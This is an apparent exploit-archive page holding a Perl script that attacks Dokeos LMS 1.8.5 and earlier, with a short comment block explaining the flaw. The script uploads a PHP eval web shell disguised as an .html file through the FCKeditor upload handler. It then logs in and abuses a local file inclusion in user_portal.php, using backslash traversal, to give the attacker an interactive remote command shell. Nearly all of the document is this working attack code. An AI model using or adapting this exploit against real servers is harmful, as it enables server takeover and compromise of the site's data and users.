exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Dokeos LMS 1.8.5 Code Execution

Dokeos LMS 1.8.5 Code Execution
Posted Apr 22, 2009
Authored by StAkeR

Dokeos LMS versions 1.8.5 and below remote code execution exploit.

tags | exploit, remote, code execution
SHA-256 | 584e9c9177950ed4da6042062cf94c76c7970a655f991c438239afb234bb2919

Dokeos LMS 1.8.5 Code Execution

Change Mirror Download
#!/usr/bin/perl
#
# Dokeos LMS <= 1.8.5 "include" Remote Code Execution Exploit
#
# Description
# ---------------------------------------------------------------
# Dokeos LMS contains one flaw that allows an attacker to include
# a local file with "html" extension.
# The issue is due to 'user_portal.php' script not properly
# sanitizing user input supplied to the 'include' GET variable.
# ---------------------------------------------------------------
# Code Details (user_portal.php Line 770 - 774)
# ---------------------------------------------------------------
# if (!empty ($_GET['include']) && !strstr($_GET['include'], '/')
# && strstr($_GET['include'], '.html'))
#
# {
# include ('./home/'.$_GET['include']);
# $pageIncluded = true;
# }
# ---------------------------------------------------------------
# As you can see,it's possible to include files with "html" ext
# and "/" isn't allowed,seems be a valid fix.It's useless on win
# because you can use "\" to change directory.
# This LFI is useful because in Dokeos LMS fckeditor exists in
# /main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php
# you can upload a file with ".html" extension. You'll have a rce
#
# Example: user_portal.php?include=..\main\upload\[FILE].html
# it works regardless of php.ini settings on windows system only
# ---------------------------------------------------------------
# Thanks to Aquilo of http://zeroidentity.org - and #zeroidentity
# ---------------------------------------------------------------
# http://www.youtube.com/watch?v=JxZcFArCeKs english
# http://www.youtube.com/watch?v=txY52DTtFhQ italian
# ---------------------------------------------------------------
# by Juri Gianni aka yeat - staker[at]hotmail[dot]it
# ---------------------------------------------------------------

use IO::Socket;
use LWP::UserAgent;
use HTTP::Cookies;


my ($host,$path,$user,$pass) = @ARGV;

if (@ARGV < 4) {
print "Dokeos LMS <= 1.8.5 Remote Code Execution Exploit\n";
x__usage();
}


do_exploit();


sub shell_up()
{
my ($data,$packet,$result);

my $vector = chr(45) x27;
my $socket = new IO::Socket::INET(
PeerAddr => $host,
PeerPort => 80,
Proto => 'tcp',
) or die $!;


$data .= $vector."--uploading\r\n";
$data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"yeat.html\"\r\n";
$data .= "Content-Type: unknown/unknown\r\n\r\n";
$data .= "<?php error_reporting(E_ALL); if(isset(\$_GET['cmd'])){die(eval(stripslashes(\$_GET['cmd'])));} ?>\r\n";
$data .= $vector."--uploading--\r\n";

$packet .= "POST $path/main/inc/lib/fckeditor/editor/filemanager/upload/php/upload.php HTTP/1.0\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=".$vector."uploading\r\n";
$packet .= "Host: $host\r\n";
$packet .= "User-Agent :Lynx (textmode)\r\n";
$packet .= "Content-Length: ".length($data)."\r\n";
$packet .= "Connection: Close\r\n\r\n";
$packet .= $data;

$socket->send($packet);

foreach $result (<$socket>) {

if ($result =~ /OnUploadCompleted\(0,"(.+?)"/i) {
return $1;
}
}
}


sub do_exploit()
{
my ($_riot,$shell,$cmd,$login);

my $cookie = new HTTP::Cookies || die $!;
my $sock_u = new LWP::UserAgent || die $!;

$sock_u->cookie_jar($cookie);
$sock_u->agent('Lynx (textmode)');
$sock_u->timeout(5);

$_riot = shell_up() =~ /upload\/(.*)/i ? $1 : 0;

$login = $sock_u->post("http://$host/$path/index.php",
[
login => $user,
password => $pass,
submitAuth => 'Confirm',
]) || die $!;

unless ($login->content =~ /class="logout"/i) {
die("Login failed..\n");
}


while (1) {
print "\nyeat[shell]:~\$ ";

chomp($cmd = <STDIN>);

if ($cmd !~ /^exit+$/i) {
$shell = $sock_u->get("http://$host/$path/user_portal.php?include=..\\main\\upload\\$_riot&cmd=$cmd");

if ($shell->content =~ /<div class="maincontent">(.*)/i) {
print $1;
}
else {
print "No output here..\n";
}
}
else {
die("Exited successful..\n");
}
}
}


sub x__usage()
{
print "Usage: perl xpl.pl host /path/ username password\n";
print "RunEx: perl localhost /dokeos/ yeat anarchy\n";
exit;
}


Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close